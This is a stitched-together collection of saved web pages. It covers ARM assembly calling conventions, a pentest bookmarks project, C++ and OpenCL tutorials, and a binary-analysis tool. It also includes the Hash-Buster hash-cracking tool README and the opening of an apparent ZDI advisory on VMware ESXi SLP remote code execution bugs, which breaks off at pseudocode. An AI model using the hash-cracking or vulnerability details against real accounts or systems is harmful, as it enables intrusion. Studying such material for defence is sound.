  
We already know that Python and Ruby are noticeably slower than C and C++
\(again, not a dig, the two serve different purposes\), which suggests that
performance-critical code should go in C or C++. But the extra observation
here is that any layers or abstractions in Python or Ruby have an inherent
cost, whereas in C or C++ you can layer abstractions much more freely without
fear of additional overhead, particularly for functions or classes in a single
source file.

# Understanding ARM Assembly Part 3 - Ntdebugging Blog - Site Home - MSDN
Blogs

**Created:**| _6/11/2014 10:11:57 AM_  
---|---  
**Updated:**| _6/11/2014 10:11:57 AM_  
**Author:**| __  
**Tags:**| _asm arm_  
  

# Understanding ARM Assembly Part 3

ntdebug

29 May 2014 2:56 PM

My name is Marion Cole, and I am a Sr. Escalation Engineer in Microsoft
Platforms Serviceability group. This is Part 3 of my series of articles about
ARM assembly. In part 1 we talked about the processor that is supported. In
part 2 we talked about how Windows utilizes that ARM processor. In this part
we will cover Calling Conventions, Prolog/Epilog, and Rebuilding the stack.

**Calling Conventions**

In ARM there is only one calling convention. The calling convention for ARM is
simple. The first four 32 bit or smaller variables are passed in R0-R3. The
remaining values go onto the stack. If any of the first four variables are 8
or 16 bit in size then they will be padded with zeros to fill the 32-bit
register. If any of the first four variables are 64 bit in size then they have
to be 64 bit aligned. That means that the variable will be split across an
even/odd register pair. Example is R0/R1 or R2/R3. Here is an example:

Registers Stack

  * Foo \(int I0, int I1, int I2, int I3\)

Registers Stack

  * Foo \(int I0, double D, int I1\)

Registers Stack

|  unused |  |  |  |  |  |  |  |   
---|---|---|---|---|---|---|---|---|---  
  * Foo \(int I0, int I1, double D\)

Registers Stack

In the first example the function Foo takes four integer values. All of these
are passed in the registers R0 - R3. This one is pretty simple.

In the second example the function Foo takes an integer, a double, and another
integer. The first integer is put into R0. However note that the double has to
be in an even/odd pair and therefore R1 is unused, and the double gets put
into R2/R3. The last integer is pushed onto the stack. This leaves R1 unused.
Programmers are suggested to not use this type. Instead organize your
variables to where they will fit like in the third example. Also in this
example the stack has to be word aligned, so there will be an additional
unused word pushed and popped in order to keep the alignment. Also note that
on ARM that a Byte is 8 bits, a Halfword is 16 bits, and a Word is 32 bits.

In the third example the function Foo takes two integers and a double. As you
can see the first two variables are integers and they go in R0 and R1
respectively. The last variable the double will then be aligned to go into
R2/R3.

The registers R4-R11 are used to hold the values of the local variables of a
subroutine. A subroutine is required to preserve on the stack the contents of
the registers R4-R8, R10, R11, and SP.

Return values are always in R0 unless they are 64 bits in size then a
combination of R0 and R1 is used.

Calling convention for floating point operations are pretty much the same. A
function can have up to 16 single-precision values in S0-S15, or 8 double-
precision values in D0-D7, or 4 SIMD vectors in Q0-Q3. Example if you have a
function that takes the following combination:

Float, double, double, float

They will go into S0, D1, D2, S1 respectively. These are aggressively back-
filled.

Floating point return values are in S0/D0/Q0 as appropriate by size.

This means that S16-S31/D8-D31/Q4-Q15 are volatile.

**Prolog and Epilog**

The Prolog on an ARM processor does the same thing as the x86 processor, it
stores registers on the stack and adjusts the frame pointer. Let\`s look at a
simple example from hal\!KfLowerIrql.

Prolog:

push \{r3,r4,r11,lr\} ; save non-volatiles regs used, r11, lr  
addw r11,sp,\#8 ; new frame pointer value in r11...

... ; stack used in prolog is multiple of 8

As you can see the push instruction is different than x86. On x86 we would
have four push instructions to do the same thing that ARM is doing in one
instruction. This stores the registers in consecutive memory locations ending
just below the address in SP, and updates SP to point to the start of the
stored location. The lowest numbered register is stored in the lowest memory
address, through to the highest numbered register to the highest memory
address. We can see that here:

1: kd> r

r0=0000000f r1=e1070180 r2=00000000 r3=e0eb3675 r4=e1048cc8 r5=e10651fc

r6=00001000 r7=0000006a r8=c5561d10 r9=0000000f r10=e10acc80 r11=c5561d08

r12=ef890f1c sp=c5561cc8 lr=e1298a0f pc=e0eb3678 psr=400001b3 -Z--- Thumb

hal\!KfLowerIrql+0x4:

1: kd> dds c5561cc8 c5561d08

c5561cc8 e0eb3675 <\-- r3

c5561ccc e1048cc8 <\-- r4

c5561cd0 c5561d08 <\-- r11

c5561cd4 e1298a0f <\-- lr

The addw instruction is setting up the new frame pointer. This will add 8 to
the value in sp, and store that in r11 which is the frame pointer. Here is
what that looks like in the debugger:

kd> r

r0=0000000f r1=00000002 r2=00000002 r3=e133b675 r4=77e31f15 r5=02cc9ad5

r6=00000000 r7=e1035580 r8=0000000f r9=00000000 r10=e22cb710 r11=e22cb5b8

r12=26ebcf96 sp=e22cb5b0 lr=e0f2560b pc=e133b67c psr=400000b3 -Z--- Thumb

hal\!KfLowerIrql+0x8:

As you can see r11 is now 8 higher than sp.

Now let\`s look at the Epilog for hal\!KfLowerIrql. It is pretty simple as it
is one command.

Epilog:

pop \{r3,r4,r11,pc\} ; restore non-volatile regs, r11, return

This is going to pop the first three registers from the stack back into their
original registers. However the last one is poping what was the link register
\(lr\) into the program counter \(pc\). This acts as a return, performing a
similar function as what the RET instruction does on x86 but without using a
unique instruction. Program flow is controlled by manipulating the pc
register. Here is what this looks like in the debugger.

The registers before the pop instruction runs:

kd> r

r0=0000000f r1=00000006 r2=00000000 r3=e1035000 r4=0000000f r5=306f0a07

r6=00000000 r7=e1035580 r8=0000000f r9=00000000 r10=e22c9260 r11=e22c9108

r12=26ebaae6 sp=e22c9100 lr=e0f2560b pc=e133b6b4 psr=200000b3 --C-- Thumb

hal\!KfLowerIrql+0x40:

e133b6b4 e8bd8818 pop \{r3,r4,r11,pc\}

The registers after the pop instruction runs:

kd> r

r0=0000000f r1=00000006 r2=00000000 r3=e133b675 r4=51cae4a2 r5=2aede545

r6=00000000 r7=e1035580 r8=0000000f r9=00000000 r10=e22c8d20 r11=e22c8c10

r12=26eba5a6 sp=e22c8bd0 lr=e0f2560b pc=e0f2560a psr=200000b3 --C—Thumb

Now we are going to complicate this a bit by showing a function that has local
variables, NtCreateFile.

Prolog:

push \{r4,r5,r11,lr\} ; save non-volatiles regs used, r11, lr

addw r11,sp,\#8 ; new frame pointer value in r11  
sub sp,sp,\#0x30 ; local variables

... ; stack used in prolog is multiple of 8

Notice that this looks the same as the previous prolog, but one line is added.
The sub sp,sp,\#0x30 is used to make stack space available for local
variables. This adds one instruction to the Epilog as well.

Epilog :

add sp,sp,\#0x30 ; cleanup local variables  
pop \{r4,r5,r11,pc\} ; restore non-volatile regs, r11, return

The add sp,sp,\#0x30 is used to clean up the stack of the local variables.

One more prolog/epilog example. This one is of IopCreateFile. It saves the
arguments that come in to the stack first.

Prolog :

push \{r0-r3\} ; save r0-r3  
push \{r4-r11,lr\} ; save non-volatiles r4-r10, r11, lr  
addw r11,sp,\#0x1c ; new frame pointer value in r11  
sub sp,sp,\#0x3c ; local variables

... ; stack used in prolog is multiple of 8

As you can see this prolog is mostly the same, there is just one additional
line for pushing the r0-r3 argument registers to the stack.

The epilog for this one is a little different.

Epilog:

add sp,sp,\#0x4c ; cleanup local variables from stack  
pop \{r4-r11\} ; restore non-volatiles, frame pointer r11  
ldr pc,\[sp\],\#0x14 ; return and cleanup 0x14 bytes \(lr,r0-r3\)

Notice that the pop is not putting lr into pc for a return. Instead the last
statement is taking care of the pc register. This instruction is calculating
the pc address by adding 14 to the value in sp, and putting that into pc. This
cleans up the arguments and lr from the stack at the same time. This ldr
instruction is similar to the ret instruction on x86.

The last thing we are going to cover is called a "Leaf function". A Leaf
function executes in the context of the caller. It does not have a prolog and
does not use the stack. It only uses volatile registers r0-r3, and r12. It
returns via the "bx lr" command. Example of this is KeGetCurrentIrql. Here is
what it looks like in the debugger.

kd> uf hal\!KeGetCurrentIrql

hal\!KeGetCurrentIrql 211 e132b650 f3ef8300 mrs r3,cpsr

216 e132b654 f0130f80 tst r3,\#0x80

216 e132b658 d103 bne hal\!KeGetCurrentIrql+0x12 \(e132b662\)

hal\!KeGetCurrentIrql+0xa

216 e132b65a b672 cpsid i

216 e132b65c 0000 movs r0,r0

216 e132b65e 2201 movs r2,\#1

216 e132b660 e000 b hal\!KeGetCurrentIrql+0x14 \(e132b664\)

hal\!KeGetCurrentIrql+0x12

216 e132b662 2200 movs r2,\#0

hal\!KeGetCurrentIrql+0x14

217 e132b664 ee1d3f90 mrc p15,\#0,r3,c13,c0,\#4

217 e132b668 7f18 ldrb r0,\[r3,\#0x1C\]

218 e132b66a b10a cbz r2,hal\!KeGetCurrentIrql+0x20 \(e132b670\)

hal\!KeGetCurrentIrql+0x1c

218 e132b66c b662 cpsie i

218 e132b66e 0000 movs r0,r0

hal\!KeGetCurrentIrql+0x20

220 e132b670 4770 bx lr

The stack must remain 4 byte aligned at all times, and must be 8 byte aligned
in any function boundary. This is due to the frequent use of interlocked
operations on 64-bit stack variables.

Functions which need to use a frame pointer \(for example, if alloca is used\)
or which dynamically change the stack pointer within their body, must set up
the frame pointer in the function prologue and leave it unchanged until the
epilog. Functions which do not need a frame pointer must perform all stack
updating in the prolog and leave the SP unchanged until the epilog.

**Rebuilding the Stack**

Here we are going to discuss how to rebuild the stack from the frame pointer.

The frame pointer points to the top of the stack area for the current
function, or it is zero if not being used. By using the frame pointer and
storing it at the same offset for every function call, it creates a singly
linked list of activation records.

The frame pointer register points to the stack backtrace structure for the
currently executing function.

The saved frame pointer value is \(zero or\) a pointer to the stack backtrace
structure created by the function which called the current function.

The saved frame pointer in this structure is a pointer to the stack backtrace
structure for the function that called the function that called the current
function; and so on back until the first function.

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/5238.image001_5F00_30D1D109.png' />

In the below diagram Main calls Foo which calls Bar

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/3000.image002_5F00_56C7815F.jpg'
alt='image002' />

For more information about ARM Debugging check out this article from T.Roy at
Code Machine:

http://codemachine.com/article\_armasm.html

# pentest-bookmarks - Project Hosting on Google Code

**Created:**| _2/25/2011 9:37:26 AM_  
---|---  
**Updated:**| _2/25/2011 9:37:32 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# The Open Penetration Testing Bookmarks Collection

...is just that, a collection of handy bookmarks I initially collected that
aid me in my day to day work or I find in the course of research. They are not
all inclusive and some sections need to be parsed but they are all good
reference materials. I find having this Hackery folder in Firefox an easy way
to reference syntax, tricks, methods, and generally facilitate and organize
research.

Opening it up to everyone will facilitate a knowledge transfer. Hopefully the
initial set will grow and expand.

* * *
## How it's working atm:

First off, we need help. OCD organizational people and people who can
contribute or sort out the best links. Comment on the wiki if you wanna pitch
in. Free beer at con's ;\)

The whole bookmarks html file is ready for import to firefox off of the
downloads section. As people submit new links we will add them and restructure
the categories as they expand. Otherwise the wiki page should have all the
links piecemeal should you not decide to download the whole folder \(which is
lame\).

* * *
## How to submit your bookmarks:

Since a bookmarks file is not really what you usually use a code repository
for we opted just to use the download and wiki sections of google code.

**If you have suggestions or a few links to submit, leave a comment on the
wiki page.**

**Not all links submitted will be added.**

If you think you have a large set of bookmarks you think can contribute email
us and we might add you to the contributors section.

* * *
## FAQ:

**Why not use a social bookmarking site?**

Well, we don’t really like them. They offer tagging but as long as we keep the
list categorized well we will stick with this format… for now. Again this is
the OPEN Pentest Bookmarks Collection so feel free to port it if you so
desire.

**Why didn’t my bookmark make the cut?**

We hate to be choosy with an open source project but we wanted to keep the
bookmarks very fresh and relevant. Who made us judge and jury? um… googlecode
apparently. Hell, we even plan on pruning some of the initial ones we picked
out \(don’t worry all revisions should be documented\). If your link didn’t
make it, we apologize, we have only so many categories and we don’t want the
collection to headsplode too fast.

**Can I help with parsing/project work?**

Right now we have 4 owners and 1 contributor who are contributing part time
and it’s enough. We will reach out if we need some more people. Thanks for all
offers =\)

* * *
## The general categories are:

**Forums:**

Created for forums that will help in both tool usage, syntax, attack
techniques, and collection of scripts and tools. Needs some help. I don't
really frequent too many underground forums but i actually find nice one-off
scripts and info i can roll into my own code in these places. Would like to
add more.

**Blogs Worth It:**

What the title says. There are a LOT of pentesting blogs, these are the ones i
monitor constantly and value in the actual day to day testing work.

**OSINT Sites:**

OSINT has become a hug part of the pentest methodology. From fueling social
engineering, to passively profiling your target infrastructure. There are
subfolders for Presentaions on how-to, sites for profiling people and
organizations, ans sites for profiling technical assets. This section is doing
okay atm.

**Exploits and Advisories**

Places to go for exploit descriptions, white-papers, and code. Needs work.

**Exploitation Intro**

If you'd like to get into exploit dev, these are really the guides and docs
that will start you off in the right direction. Since Exploit dev is not my
primary occupation this section could always use help.

**Agile Hacking**

Mostly collections of guides on non-tool command line hacking syntax. Heavily
inspired by Ed Skoudis and PDP of GNUCitizen. Needs work.

**Cheatsheets and fu\!**

Random cheatsheets for heavily used tools and reference. Need a lot of work.

**`*` nix <3**

Collection of `*`nix command line knowledge and distributions for pentesting.
Needs work.

**Training/Classes**

Open source classes relating to hacking and penetration testing. I would
really like to find more of these.

**Methodologies**

Some practical and some high level methodologies for hacking related
activities. Needs a lot of work.

**Labs**

If you want to practice your fu, these links to test sites, blogs about
practice, and lab setup-how to's will help. needs work, would like to convert
to direct links as well.

**Tools**

Semi-parsed, nor has it really been inspected for relevancy. More of just a
place i dump links for new tools and tools i use often. Needs a LOT of help,
parsing, additions, etc.

**Web Vectors**

I do a lot of web stuff. Here are some web vectors and associated useful docs
and cheatsheets on each of them. Could always use more in these sections.

**Misc Sec**

Not categorized, misc, and randomness.

**MiTM**

It's not even parsed yet, nor has it really been inspected for relevancy.
needs lots of work.

**Hacker Media**

Needs additions to main pages of con video archives. It's an okay start
though. Needs work.

  

# Bryan St. Amour's Blog » Blog Archive » \(Almost\) functional programming
tips for C++

**Created:**| _4/30/2012 2:28:34 PM_  
---|---  
**Updated:**| _4/30/2012 2:28:34 PM_  
**Author:**| __  
**Tags:**| _C++ programming Functional_  
  

  * Home
  * About
  * Contact
  * Resume
  * 

« Caffeine has no effect on slackers?

## \(Almost\) functional programming tips for C++

April 28, 2012, 12:49 pm

There’s been a bit of interest on reddit recently about functional programming
in C++, and since I haven’t blogged in a while, I thought I’d toss in my two
cents. This post isn’t a detailed novel of functional programming style in
C++: it won’t tell you how to implement graph reduction nor will it proclaim
that every function should be a pure constexpr function. What this post will
be is a small set of tips that will let you write safer more expressive code
today \(or tomorrow.\)

## Use const everywhere

All of your variables should be declared const unless you really need to
modify them. Modern C++ compilers can perform some really aggressive
optimizations to variables that they know will not be modified. I won’t go
into the argument of physical const vs. logical const here, that’s a subject
for another blog post.

## Prefer to use small functions that do one thing well

This is a pretty obvious point, but I’ll go over it anyways. In programming in
any language, you should always say what you mean and mean what you say. If
your function is called euclidian\_distance, it had better compute the
euclidian distance of a range and nothing more\! If it did something more than
that then it shouldn’t be called euclidian\_distance. Do one thing and one
thing only in your functions, and give them good names, there should be no
surprise “whoops, the distance function wrote some crap to a file” scenarios.

## Avoid global variables like the plague \(unless you really need them\)

This sort of goes hand-in-hand with the point above. Your functions will be so
much easier to reason about if they only rely on the parameters passed in, not
global variables. Why? Because you can verify that your function is correct by
only making assumptions on the input parameters, instead of assumptions on the
whole world.

## Prefer STL algorithms over hand-rolled loops

Sometimes a for or a while loop is just what the doctor ordered, but in most
cases you should prefer to use std::for\_each, std::transform, or
std::accumulate to perform your looping operation. Why? These higher-order
functions have well-defined meanings, and they convey much more information
about what your code is doing than a hand-rolled loop. When you see a for loop
in somebody’s code, you need to pay attention to the stopping-condition, the
upkeep, and the initialization to ensure that you fully understand what is
going on. Also the loop body: are there any breaks or continues? With
for\_each, you know that whatever operation is supplied it is guaranteed to
touch every element in the range once and only once, and you know in which
order\! No hunting for breaks or continues is required, you can understand how
the loop behaves just by knowing for\_each. Similar arguments hold for
transform, and accumulate: they’re well-defined actions. Now if your loop
doesn’t fall into something that can be represented by for\_each, transform,
or accumulate, then by all means use the loop that does the job\! But prefer
using them over your own loops when you can.

## Conclusion

Some may argue that nothing that I brought forth is “functional” programming,
but some of the benefits of functional programming, I think, are at least
being shown. In functional programming everything is represented by
mathematical functions and their compositions. Not every function in C++ can
be a one-line return statement, but we can at least take some of the benefits
of representing everything as small well-defined functions. Furthermore if we
utilize some of the higher-order functions in the STL such as for\_each,
transform, and accumulate; and use const where we can to avoid accidental
mutations, we can go a long way toward writing safer, more understandable
code. One of these days I’ll have to put together a more detailed blog post
about real functional programming in C++, but this should at least help some
people begin to think a little bit more functionally in their day jobs without
rewriting their code bases in ML.

# Interactive GPU Programming - Part 2 - Hello OpenCL

**Created:**| _3/7/2018 8:32:24 AM_  
---|---  
**Updated:**| _3/7/2018 8:32:24 AM_  
**Author:**| _wishi_  
**Tags:**| _GPU_  
  

  

# Interactive GPU Programming - Part 2 - Hello OpenCL

February 7, 2018

This is really the same article as Part 1 - Hello CUDA, but focused on OpenCL,
so I'll skip most of the narration and just show you the code. OpenCL is an
open standard for heterogeneous, cross-platform parallel programming that
supports GPU's, CPU's, and other accelerators.

## Set up the environment

### Hardware

Nothing specific to add here. You have to have either an AMD, Intel, or Nvidia
GPU. OpenCL can work on CPU's too. You have to install the appropriate drivers
that support OpenCL, which usually means _regular GPU drivers_ from AMD and
Nvidia.

### Toolkits

Here, things are a bit more fuzzy. Graphic drivers usually support OpenCL, but
sometimes there need to be an additional library on top. Also, AMD supports
OpenCL 2.0 for some hardware, but reverted back to OpenCL 1.2 support in their
latest libraries. Nvidia supports OpenCL 1.2, but some OpenCL 2.0 features are
supported unofficially. All in all, you have to be careful to see what is
supported by your vendor, install the appropriate drivers and, optionally,
additional toolkits that best support that hardware. Long story short, on
recent \(4 years\) GPU's, you should end up with OpenCL 1.2 or 2.0.

### Clojure and Java

Same as in Part 1 - Hello CUDA, here we are using ClojureCL . Visit
ClojureCL's page for more installation instructions.

## Handle the GPU device\(s\)

At the beginning, we'll require the namespaces that contain functions for GPU
programming. Functions that work with OpenCL are in the
uncomplicate.clojurecl.core namespace of the ClojureCL library.

[code]

    (require '[uncomplicate.clojurecl.core :refer :all]
             '[uncomplicate.clojurecl.info :refer :all])
    
[/code]

Although most concepts of OpenCL are similar to what we've seen with CUDA, the
environment setup is a bit more detailed. That's because OpenCL does not
support only GPU's, and only from one vendor, but multiple hardware devices
from multiple vendors. It has to offer a choice of drivers and supported
versions, at the same time.

The entry point is the concept of _platform_. The platforms function returns a
sequence of platforms available on the system:

[code]

    (map name-info (platforms))
    
[/code]

NVIDIA CUDA | AMD Accelerated Parallel Processing  
---|---  
My machine reports two platforms: Nvidia and AMD. I'll use AMD platform for
this session:

[code]

    (def amd-platform (second (platforms)))
    
[/code]

[code]

    #'user/amd-platform
    
    
[/code]

Different platforms support different versions of OpenCL standard, and some
additional vendor-specific extensions. Each platform can be used to access the
appropriate hardware. What devices do I have on AMD's platform?

[code]

    (map name-info (devices amd-platform))
    
[/code]

Hawaii | Hawaii | Intel\(R\) Core\(TM\) i7-4790K CPU @ 4.00GHz  
---|---|---  
Now I know that there are two Hawaii GPU's \(R9 290X\) and one CPU that can be
accessed through AMD's platform. Let's grab the handle of the first device:

[code]

    (def my-amd-gpu (first (devices amd-platform)))
    
[/code]

What is the type of this object and how does it look like?

[code]

    my-amd-gpu
    
[/code]

[code]

    #object[org.jocl.cl_device_id 0x30af1ea4 "cl_device_id[0x7f6ffc71fc30]"]
    
    
[/code]

Having the handle of the device, we can proceed in a fashion similar to the
Hello CUDA tutorial.

## Working in the context

The default context setup can be easily created with ClojureCL:

[code]

    (def ctx (context [my-amd-gpu]))
    
[/code]

[code]

    ctx
    
[/code]

[code]

    #object[org.jocl.cl_context 0x5a773a7a "cl_context[0x7f6ffc3b7310]"]
    
    
[/code]

As with CUDA, when you need a specific information about how to use contexts,
there is a convenient fallback to the official literature; just look for
`cl_context`.

## Manage the memory on the GPU device

Memory in OpenCL is created in the explicitly supplied context:

[code]

    (def gpu-array (cl-buffer ctx 1024 :read-write))
    
[/code]

[code]

    gpu-array
    
[/code]

[code]

    #object[uncomplicate.clojurecl.core.CLBuffer 0xad4e84b "uncomplicate.clojurecl.core.CLBuffer@ad4e84b"]
    
    
[/code]

## Transferring the data from the main memory to the GPU memory

Create the data:

[code]

    (def main-array (float-array (range 256)))
    
[/code]

[code]

    (take 10 main-array)
    
[/code]

0.0 | 1.0 | 2.0 | 3.0 | 4.0 | 5.0 | 6.0 | 7.0 | 8.0 | 9.0  
---|---|---|---|---|---|---|---|---|---  
Let's do the transfer\!

Differently from CUDA, in OpenCL we have to explicitly set the context and
_command queue_ \(equivalent of CUDA stream\) that will process the tasks
\(that is a good thing\!\).

[code]

    (def queue (command-queue ctx my-amd-gpu))
    (enq-write! queue gpu-array main-array)
    
[/code]

[code]

    #'user/queue#object[org.jocl.cl_command_queue 0x4821e434 "cl_command_queue[0x7f6ffcf166e0]"]
    
    
[/code]

To convince you that the data have really been transferred to the GPU memory,
I'll transfer it back into a new empty float-array:

[code]

    (def roundtrip-array (float-array 256))
    (enq-read! queue gpu-array roundtrip-array)
    
[/code]

[code]

    (take 12 roundtrip-array)
    
[/code]

0.0 | 1.0 | 2.0 | 3.0 | 4.0 | 5.0 | 6.0 | 7.0 | 8.0 | 9.0 | 10.0 | 11.0  
---|---|---|---|---|---|---|---|---|---|---|---  
Now you believe me the data is on the GPU\!

## Compute something already\!

Both OpenCL and CUDA kernels are based on C, with some additional parallel
programming additions. Here's the OpenCL version of the mul10 kernel.

[code]

    __kernel void mul10(__global float *a) {
        int i = get_global_id(0);
        a[i] = a[i] * 10.0f;
    };
    
[/code]

The host code:

[code]

    (def kernel-source
          "__kernel void mul10(__global float *a) {
             int i = get_global_id(0);
             a[i] = a[i] * 10.0f;
           };")
    
    
    (def hello-program (build-program! (program-with-source ctx [kernel-source])))
    (def mul10 (kernel hello-program "mul10"))
    (def result (float-array 256))
    (set-arg! mul10 0 gpu-array)
    (enq-nd! queue mul10 (work-size-1d 256))
    (enq-read! queue gpu-array result)
    
[/code]

[code]

    (take 12 result)
    
[/code]

0.0 | 10.0 | 20.0 | 30.0 | 40.0 | 50.0 | 60.0 | 70.0 | 80.0 | 90.0 | 100.0 | 110.0  
---|---|---|---|---|---|---|---|---|---|---|---  
Each element of our array has been multiplied by 10\! Cheers\!

## Keep the environment clean\!

OpenCL also requires that we take care of the loose ends:

[code]

    (require '[uncomplicate.commons.core :refer :all])
    
[/code]

[code]

    (release gpu-array)
    (release hello-program)
    (release queue)
    (release ctx)
    
[/code]

## What follows next

We've seen that working in OpenCL is similar to CUDA programming. Next, we
will explore each of the steps we've done in more detail. I know that you are
most interested in kernels and algorithms, but contexts, platforms, memory,
and streams is what we should get a firm grasp on first. Please be patient, it
is for a good reason.

  

# Insight, a tool for binary code analysis

**Created:**| _11/23/2012 9:28:27 PM_  
---|---  
**Updated:**| _11/23/2012 9:31:33 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  

# The Insight Project ¶

The Insight project is devoted to binary analysis to serve several purposes
such as:

  * Binary verification
  * Reverse engineering
  * Binary test cases extraction
  * Decompilation to higher-level languages

We aim to have a full and efficient platform to easily try out novel
algorithms or techniques. For this, we provide a full C++ framework designed
for Unix systems \(\*BSD, Linux, MacOS X, ...\) which contains a wide-spectrum
binary format loaders \(ELF, PE, Mach-O, ...\), a decoder translating from
assembly code \(x86-32 and ARM for now others will come\) into our
intermediate language, an interpreter to execute the program over a
\(potentially abstract\) domain and several facilities to simplify, manipulate
or transform the graph and the expressions extracted from the original
program.

**Warning** : The insight framework is still not feature complete and is a
work in progress. Yet, one can try the tool cfgrecovery in
insight/tools/cfgrecovery/ directory once you have compiled everything.

## News ¶

  * **November 9, 2012** : We have a one year position for a postdoct to work on Insight.

See full offer  here .

  * **November 7, 2012** : CFG recovery examples.

Here  is an archive gathering small examples used to show capabilities of our
CFG recovery tool based on Insight library.

  * **October 24, 2012** : Release of insight 0.3.

Minor changes in this release. Several bugs have been fixed in microcode
generation for x86\_32 decoder. The output of CFG in dot format has been
improved.

  * **September 28, 2012** : Release of insight 0.2.

This release contains the first incomplete release of the **cfgrecovery** tool
intended to rebuild the CFG of a program based on the executable only. It also
introduces support for the Mathsat 5 and Z3 SMT-solvers and a lot of bug fixes
and architecture improvements.

  * **July 26, 2012** : First public release of insight 0.1.

This release contains only the insight library and a lot of tests, we will
release associated tools soon.

## Downloads ¶

**File**| **Description**| **Hash**  
---|---|---  
examples.tar.bz2 | Examples for CFGrecovery tool| `SHA1 557951f4fabbe589584446c02114a018399b228e`  
insight-0.3.tar.gz | Source code of insight 0.3| `SHA1 21d02aa3b3e5deaf13ff4d1798db45e382fe2e9d`  
insight-0.2.tar.gz | Source code of insight 0.2| `SHA1 99a728ee976b81412179781e13120a4e07c0b3df`  
insight-0.1.tar.gz | Source code of insight 0.1| `SHA1 3282fd991e7628e326c8b30f2ae3a4699cc1ad03`  
## About Us ¶

We are working at the  LaBRI  laboratory in Bordeaux, France within the
Formal Methods  Team \(in the  Modelisation and Verification  group\).

  * Emmanuel Fleury <emmanuel.fleury\(at\)labri.fr>
  * Jérôme Leroux <jerome.leroux\(at\)labri.fr>
  * Olivier Ly <olivier.ly\(at\)labri.fr>
  * Gérald Point <gerald.point\(at\)labri.fr>
  * Aymeric Vincent <aymeric.vincent\(at\)labri.fr>

## Other Pages ¶

  * Please report bugs  or suggest new features
  * RelatedWork 
  * Publications 

# s0md3v/Hash-Buster

**Created:**| _9/23/2018 8:38:00 AM_  
---|---  
**Updated:**| _9/23/2018 8:38:00 AM_  
**Author:**| _wishi_  
**Tags:**| _hashes crypto_  
  

  

#  
<img
src='img/68747470733a2f2f696d6167652e6962622e636f2f6253776b4d652f6269746d61702e706e67.png'
width='100' height='100' alt='Hash Buster' />  
Hash Buster  

#### Why crack hashes when you can bust them?

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f72656c656173652f73306d6433762f486173682d4275737465722e737667'
width='84' height='20' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6973737565732d636c6f7365642d7261772f73306d6433762f486173682d4275737465722e737667'
width='100' height='20' />

<img
src='img/68747470733a2f2f696d6167652e6962622e636f2f666e585742652f53637265656e73686f745f323031385f30395f32305f31345f30325f30352e706e67.png'
width='898' height='180' alt='demo' />

## Features

  * Automatic hash type identification
  * Supports MD5, SHA1, SHA256, SHA384, SHA512
  * Can extract & crack hashes from a file
  * Can find hashes from a directory, recursively
  * Multi-threading

## Insallation & Usage

> **Note:** Hash Buster isn't compatible with python2, run it with python3
> instead. Also, Hash-Buster uses some APIs for hash lookups, check the source
> code if you are paranoid.
Hash-Buster can be run directly from the python script but I highly suggest
you to install it with `make install`

After the installation, you will be able to access it with `buster` command.

### Cracking a single hash

You don't need to specify the hash type. Hash Buster will identify and _crack_
it under 3 seconds.

**Usage:** `buster -s <hash>`

### Finding hashes from a directory

Yep, just specify a directory and Hash Buster will go through all the files
and directories present in it, looking for hashes.

**Usage:** `buster -d /root/Documents`

### Cracking hashes from a file

Hash Buster can find your hashes even if they are stored in a file like this

[code]

    simple@gmail.com:21232f297a57a5a743894a0e4a801fc3
    {"json@gmail.com":"d033e22ae348aeb5660fc2140aec35850c4da997"}
    surrondedbytext8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918surrondedbytext
    
[/code]

**Usage:** `buster -f /root/hashes.txt`

### Specifiying number of threads

Multi-threading can incredibly minimize the overall speed when you have a lot
of hashes to crack by making requests in parallel.

`buster -f /root/hashes.txt -t 10`

### License

Hash-Buster is licensed under MIT License.

  

# Zero Day Initiative — CVE-2020-3992 & CVE-2021-21974: Pre-Auth Remote Code
Execution in VMware ESXi

**Created:**| _5/26/2021 5:49:59 PM_  
---|---  
**Updated:**| _5/26/2021 5:49:59 PM_  
**Author:**| __  
**Tags:**| __  
  

  

#  CVE-2020-3992 & CVE-2021-21974: Pre-Auth Remote Code Execution in VMware
ESXi

March 02, 2021 | Lucas Leong
SUBSCRIBE

Last fall, I reported two critical-rated, pre-authentication remote code
execution vulnerabilities in the VMware ESXi platform. Both of them reside
within the same component, the Service Location Protocol \(SLP\) service. In
October, VMware released a patch to address one of the vulnerabilities, but it
was incomplete and could be bypassed. VMware released a second patch in
November completely addressing the use-after-free \(UAF\) portion of these
bugs. The UAF vulnerability was assigned CVE-2020-3992. After that, VMware
released a third patch in February completely addressing the heap overflow
portion of these bugs. The heap overflow was assigned CVE-2021-21974.

This blog takes a look at both bugs and how the heap overflow could be used
for code execution. Here is a quick video demonstrating the exploit in action:

Service Location Protocol \(SLP\) is a network service that listens on TCP and
UDP port 427 on default installations of VMware ESXi. The implementation
VMware uses is based on OpenSLP 1.0.1. VMware maintains its own version and
has added some hardening to it.

The service parses network input without authentication and runs as root, so a
vulnerability in the ESXi SLP service may lead to pre-auth remote code
execution as root. This vector could also be used as a virtual machine escape,
since by default a guest can access the SLP service on the host.

**The Use-After-Free Bug \(CVE-2020-3992\)**

This bug exists only in VMware’s implementation of SLP. Here is the simplified
pseudocode:

1 | \_\_int64 \_\_fastcall SLPDProcessMessage\(void \*src, void \*a2, \_\_int64 a3\)   
---|---  
2 | \{   
3 | // ...   
4 |  msg = SLPMessageAlloc\(\);   
5 |  switch \( \(unsigned \_\_int64\)\*\(\(unsigned int \*\)v27 + 33\) \)   
6 |  \{   
7 | // ...   
8 |  case SLP\_FUNCT\_DAADVERT:   
9 |  errorcode = ProcessDAAdvert\(\(\_\_int64 \*\)&msg, \(\_\_int64\)&recvbuf, v3, 0\); // <\-- \(1\)   
10 |  break;   
11 | // ...   
12 |  \}   
13 | // ...   
14 |  if \( HIDWORD\(v22\) == SLP\_FUNCT\_DAADVERT || HIDWORD\(v22\) == SLP\_FUNCT\_SRVREG \)   
15 |  \{   
16 |  if \( \!errorcode \)   
17 |  \{   
18 |  SLPMessageFree\(msg\); // <\-- \(4\)   
19 |  return errorcode;   
20 |  \}   
21 | // ...   
22 |  \}   
23 | // ...   
24 | \}   
25 |   
